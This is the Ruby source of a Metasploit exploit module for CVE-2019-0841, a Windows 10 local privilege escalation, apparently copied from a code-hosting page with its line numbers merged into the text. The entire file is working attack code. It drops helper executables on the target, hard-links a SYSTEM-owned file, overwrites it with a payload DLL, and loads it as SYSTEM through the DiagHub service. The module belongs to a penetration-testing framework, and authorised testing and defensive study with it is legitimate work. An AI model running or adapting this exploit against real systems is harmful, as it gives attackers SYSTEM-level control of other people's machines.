Path: blob/master/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Exploit::EXE9include Post::File10include Post::Windows::Priv11include Post::Windows::FileInfo12include Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'AppXSvc Hard Link Privilege Escalation',19'Description' => %q{20There exists a privilege escalation vulnerability for21Windows 10 builds prior to build 17763. Due to the AppXSvc's22improper handling of hard links, a user can gain full23privileges over a SYSTEM-owned file. The user can then utilize24the new file to execute code as SYSTEM.2526This module employs a technique using the Diagnostics Hub Standard27Collector Service (DiagHub) which was discovered by James Forshaw to28load and execute a DLL as SYSTEM.29},30'License' => MSF_LICENSE,31'Author' => [32'Nabeel Ahmed', # Vulnerability discovery and PoC33'James Forshaw', # Code creating hard links and communicating with DiagHub service34'Shelby Pace' # Metasploit module35],36'References' => [37[ 'CVE', '2019-0841' ],38[ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],39[ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],40[ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],41[ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]42],43'Platform' => 'win',44'SessionTypes' => [ 'meterpreter' ],45'Targets' => [46[ 'Windows 10', { 'Platform' => 'win' } ]47],48'DisclosureDate' => '2019-04-09',49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)57end5859def check60version = get_version_info61if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1803)62return CheckCode::Appears63elsif version.build_number >= Msf::WindowsVersion::Win10_InitialRelease64return CheckCode::Detected65end6667return CheckCode::Unknown68end6970def upload_file(file_name, file_path)71contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))72write_file(file_path, contents)73register_file_for_cleanup(file_path)74rescue StandardError75fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')76end7778def init_process79print_status('Attempting to launch Microsoft Edge minimized.')80cmd_exec('cmd.exe /c start /min microsoft-edge:', nil, 30)81end8283def mk_hard_link(src, target, link_exe)84out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"")8586return (out && out.include?('Done'))87end8889def write_payload90print_status('Writing the payload to disk')91code = generate_payload_dll92@original_data = read_file(@rtf_path)93write_file(@rtf_path, code)94end9596def exploit97vuln_status = check98fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown99100fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?101cmd_exec('taskkill /F /IM MicrosoftEdge.exe /FI "STATUS eq RUNNING"')102dat_path = expand_path('%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat')103fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)104105if session.arch == ARCH_X86106exe_name = 'CVE-2019-0841_x86.exe'107f_name = 'diaghub_load_x86.exe'108elsif session.arch == ARCH_X64109exe_name = 'CVE-2019-0841_x64.exe'110f_name = 'diaghub_load_x64.exe'111end112link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe")113upload_file(exe_name, link_file_name)114115@rtf_path = expand_path('%WINDIR%\\system32\\license.rtf')116fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)117print_good('Successfully created hard link')118init_process119cmd_exec('taskkill /F /IM MicrosoftEdge.exe')120121write_payload122diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")123upload_file(f_name, diaghub_path)124cmd = "\"#{diaghub_path}\" \"license.rtf\""125cmd_exec(cmd)126end127128def cleanup129folder_path = expand_path('%TEMP%\\etw')130dir_rm(folder_path)131132unless @rtf_path.nil?133write_file(@rtf_path, @original_data)134end135super136end137end138139140